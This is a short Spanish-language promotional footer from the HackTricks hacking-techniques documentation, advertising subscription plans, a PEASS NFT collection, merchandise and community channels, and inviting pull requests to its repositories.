- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
Reference in a new issue View git blame Copy permalink